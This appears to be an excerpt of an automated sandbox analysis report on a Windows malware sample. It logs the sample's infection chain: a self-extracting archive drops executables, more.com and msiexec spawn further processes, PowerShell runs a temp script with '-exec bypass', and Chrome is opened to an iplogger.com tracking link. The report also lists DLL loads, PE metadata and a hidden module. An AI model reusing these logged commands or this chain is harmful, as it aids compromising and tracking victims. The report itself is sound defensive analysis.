Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe "C:\Users\user~1\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe "C:\Users\user~1\AppData\Local\Temp\RarSFX0\333.exe"	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://iplogger.com/15PRC4	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Process created: C:\Windows\SysWOW64\more.com C:\Windows\SysWOW64\more.com	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3640 --field-trial-handle=2220,i,87033959644632370,6351564525207950416,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe "C:\Users\user~1\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -exec bypass -f "C:\Users\user~1\AppData\Local\Temp\FX8O1AHKO07RTNQFEJZ4GZKD.ps1"	Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: pla.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: tdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\more.com	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: wintab32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: twinui.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: pdh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Section loaded: shdocvw.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: 4kN17cL4Tn.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 4kN17cL4Tn.exe

Static file information: File size 15149493 > 1048576

Source: 4kN17cL4Tn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 4kN17cL4Tn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 4kN17cL4Tn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 4kN17cL4Tn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 4kN17cL4Tn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 4kN17cL4Tn.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 4kN17cL4Tn.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 4kN17cL4Tn.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: 333.exe, 00000005.00000002.1322980454.0000000034A59000.00000004.00000800.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323766793.0000000035701000.00000004.00000001.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323468847.0000000035350000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515387031.000000000424C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.1515545916.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896547323.0000000006FB0000.00000004.00000800.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896379375.0000000006C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 333.exe, 00000005.00000002.1322980454.0000000034A59000.00000004.00000800.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323766793.0000000035701000.00000004.00000001.00020000.00000000.sdmp, 333.exe, 00000005.00000002.1323468847.0000000035350000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1515387031.000000000424C000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000007.00000002.1515545916.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896547323.0000000006FB0000.00000004.00000800.00020000.00000000.sdmp, OX7I8331HPIJ7S9YM876UXZCAF9K.exe, 00000010.00000002.1896379375.0000000006C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: 4kN17cL4Tn.exe, 00000003.00000000.1279030060.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmp, 4kN17cL4Tn.exe, 00000003.00000002.1359618906.00007FF7B67FB000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: mspatcha.pdb source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mspatcha.pdbGCTL source: more.com, 00000007.00000002.1515765988.0000000004B50000.00000004.00001000.00020000.00000000.sdmp

Source: 4kN17cL4Tn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 4kN17cL4Tn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 4kN17cL4Tn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 4kN17cL4Tn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 4kN17cL4Tn.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\4kN17cL4Tn.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_3939140

Jump to behavior

Source: 4kN17cL4Tn.exe	Static PE information: section name: .didat
Source: 4kN17cL4Tn.exe	Static PE information: section name: _RDATA
Source: 333.exe.3.dr	Static PE information: section name: .symtab
Source: wlfdmdt.7.dr	Static PE information: section name: fot
Source: OX7I8331HPIJ7S9YM876UXZCAF9K.exe.14.dr	Static PE information: section name: .qtmetad
Source: OX7I8331HPIJ7S9YM876UXZCAF9K.exe.14.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Code function: 16_2_018C4935 push ecx; ret	16_2_018C4948
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_07E50F40 push esp; ret	17_2_07E51125
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_07E531DE push FFFFFFE8h; retf	17_2_07E531E1

Source: C:\Windows\SysWOW64\msiexec.exe	File created: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe	Jump to dropped file
Source: C:\Windows\SysWOW64\more.com	File created: C:\Users\user\AppData\Local\Temp\wlfdmdt	Jump to dropped file
Source: C:\Users\user\Desktop\4kN17cL4Tn.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\333.exe	Jump to dropped file

Source: C:\Windows\SysWOW64\more.com

File created: C:\Users\user\AppData\Local\Temp\wlfdmdt

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\more.com

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\WLFDMDT

Source: C:\Users\user\AppData\Local\Temp\OX7I8331HPIJ7S9YM876UXZCAF9K.exe

